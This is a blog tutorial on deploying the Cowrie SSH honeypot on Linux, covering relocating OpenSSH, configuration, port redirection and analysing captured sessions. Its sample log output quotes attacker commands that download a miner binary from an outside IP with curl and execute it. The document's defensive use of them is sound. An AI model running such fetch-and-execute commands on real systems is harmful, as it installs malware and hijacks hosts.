Deploying Cowrie SSH Honeypot on Linux: Trapping Brute Force Attacks and Malware Payloads

Security tutorial - IT technology blog
Security tutorial - IT technology blog

The Endless Noise on Port 22

Spin up a fresh cloud instance on DigitalOcean, Hetzner, or AWS. Leave standard SSH listening on port 22, and tail /var/log/auth.log. Within twenty minutes, automated scanners strike. A typical exposed IP absorbs 3,000 to 8,000 brute-force attempts every 24 hours, cycling endlessly through credential dictionaries: root/admin, test/123456, and ubuntu/ubuntu.

Most sysadmins deploy Fail2Ban, enforce Ed25519 public keys, or shift SSH to an obscure port. That locks down the box. However, dropping those packets blindfolds your security monitoring. You discard live threat intelligence: active password wordlists, initial post-compromise commands, and live staging URLs hosting fresh malware payloads.

Cowrie changes the game. Instead of resetting connections, we catch intruders inside an interactive decoy.

Core Architecture of Cowrie

Cowrie is a medium-to-high interaction SSH and Telnet honeypot. It intercepts unauthorized sessions, records shell interactions, and catches binary payloads. Rather than serving a static prompt that terminates after the first command, Cowrie exposes an emulated Debian system directly in memory.

How the Trapping Mechanism Works

  • Emulated Environment: Attackers authenticate based on custom policies and land in a virtual shell. Standard diagnostic binaries—including ls, cat, wget, and uname—return realistic POSIX output without touching the host filesystem.
  • Session Recording: Cowrie serializes every terminal keystroke, terminal resize signal, and command pipeline into structured JSON and replayable TTY logs compatible with playlog.
  • Payload Interception: When a compromised shell fetches an exploit via curl -O malware.sh or SFTP, Cowrie hooks the network stream. It computes the SHA-256 hash on the fly, logs metadata, and isolates the raw payload in a quarantine folder for sandbox analysis.

Port Redirection Layout

Never run honeypot software with root privileges. Move your administrative OpenSSH daemon to an alternate port, such as 2222. Cowrie then binds safely to unprivileged port 2223. A kernel-level iptables prerouting rule redirects all inbound port 22 traffic straight to 2223.

Hands-On Deployment: Step-by-Step Setup

1. Relocating Real OpenSSH

First, lock down administrative access. Edit /etc/ssh/sshd_config:

# /etc/ssh/sshd_config
Port 2222
PermitRootLogin no
PasswordAuthentication no

Generate robust out-of-band passwords before hardening administrative endpoints. Browser-based tools like the password generator at toolcraft.app/en/tools/security/password-generator generate high-entropy strings locally via client-side JavaScript. Because zero data leaves your browser, recovery credentials remain insulated from network eavesdropping. Next, reload the daemon:

sudo systemctl restart sshd

Verify access on port 2222 in a second terminal before disconnecting. Never close your working shell until that handshake succeeds.

2. Provisioning Dependencies and User

Isolate execution under a dedicated cowrie user. Install core Python dependencies and system build tools:

sudo apt update && sudo apt install -y git python3-venv python3-pip libssl-dev libffi-dev build-essential iptables-persistent
sudo adduser --disabled-password --gecos "" cowrie
sudo su - cowrie

3. Installing and Configuring Cowrie

Clone the source tree into the honeypot home directory and initialize an isolated virtual environment:

git clone https://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

Keep upstream configuration pristine by applying overrides inside etc/cowrie.cfg:

cat << 'EOF' > etc/cowrie.cfg
[honeypot]
hostname = srv-prod-db01
log_path = var/log/cowrie
download_path = var/lib/cowrie/downloads
auth_class = UserDB

[ssh]
enabled = true
listen_endpoints = tcp:2223:interface=0.0.0.0
version = SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1

[output_jsonlog]
enabled = true
logfile = var/log/cowrie/cowrie.json
EOF

Setting hostname = srv-prod-db01 convinces automated reconnaissance scripts that they breached a database server. Matching OpenSSH banner strings to Ubuntu 22.04 LTS preserves believability.

4. Defining Authentication Traps

Cowrie parses etc/userdb.txt using a username:group:password schema. Define credential behaviors directly:

cat << 'EOF' > etc/userdb.txt
# Accept any password for root to trap shell operators immediately
root:*:*
# Match common default credential sweeps
admin:*:admin123
ubuntu:*:ubuntu
# Reject database service accounts to generate failed login telemetry
postgres:x:*
EOF

5. Redirecting Port 22 Traffic

Drop out of the cowrie user session and append the NAT redirection rule:

exit
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2223
sudo netfilter-persistent save

6. Running Cowrie via Systemd

Wrap the service in systemd so it restarts reliably after host reboots or crashes. Save this unit file as /etc/systemd/system/cowrie.service:

[Unit]
Description=Cowrie SSH Honeypot
After=network.target

[Service]
Type=forking
User=cowrie
WorkingDirectory=/home/cowrie/cowrie
ExecStart=/home/cowrie/cowrie/bin/cowrie start
ExecStop=/home/cowrie/cowrie/bin/cowrie stop
Restart=on-failure

[Install]
WantedBy=multi-user.target

Register the unit and bring up the daemon:

sudo systemctl daemon-reload
sudo systemctl enable --now cowrie
sudo systemctl status cowrie

Field Analysis: Inspecting Intruders and Payloads

Parsing the JSON Telemetry

Real-time session events stream to /home/cowrie/cowrie/var/log/cowrie/cowrie.json. Filter specific shell commands with jq:

tail -f /home/cowrie/cowrie/var/log/cowrie/cowrie.json | jq -r 'select(.eventid=="cowrie.command.input") | "[\(.timestamp)] [\(.src_ip)] \(.input)"'

Live logs display hardware discovery followed immediately by botnet droplet fetches:

[2026-11-06T11:42:01Z] [198.51.100.42] uname -a; lscpu; cat /proc/cpuinfo
[2026-11-06T11:42:03Z] [198.51.100.42] curl -s http://103.203.45.12/x86_miner -o /tmp/x86_miner
[2026-11-06T11:42:04Z] [198.51.100.42] chmod +x /tmp/x86_miner && /tmp/x86_miner &

Inspecting Intercepted Files

When an intruder attempts to download an exploit, Cowrie traps the binary in var/lib/cowrie/downloads/ under its SHA-256 sum without executing it:

ls -la /home/cowrie/cowrie/var/lib/cowrie/downloads/
sha256sum /home/cowrie/cowrie/var/lib/cowrie/downloads/*

Cross-reference these hashes on VirusTotal or query a local MISP server. You will frequently uncover active Mirai variants, automated XMRig miners, and compromised command-and-control IP addresses.

Replaying Full Terminal Sessions

Cowrie saves raw terminal sessions under var/lib/cowrie/tty/. Reconstruct an operator’s keystrokes, backspaces, and execution timing:

/home/cowrie/cowrie/bin/playlog /home/cowrie/cowrie/var/lib/cowrie/tty/<session_id>

Hardening Tips from Production Experience

  • Strict Network Isolation: Host Cowrie in a sacrificial VPC or separate DMZ subnet. Block outbound routing toward internal assets (such as RFC 1918 subnets) using egress firewall rules.
  • Block Outbound Abuse: Botnets routinely attempt to pivot from compromised hosts. Keep Cowrie’s outbound proxying disabled to avoid generating scans or spam that could trigger abuse complaints against your IP.
  • Automate Download Housekeeping: High-volume attacks can deposit hundreds of megabytes of binary junk daily. Schedule a nightly cron job to tarball files older than 14 days, sync them to read-only archival storage, and clear expired local disk space.
Share: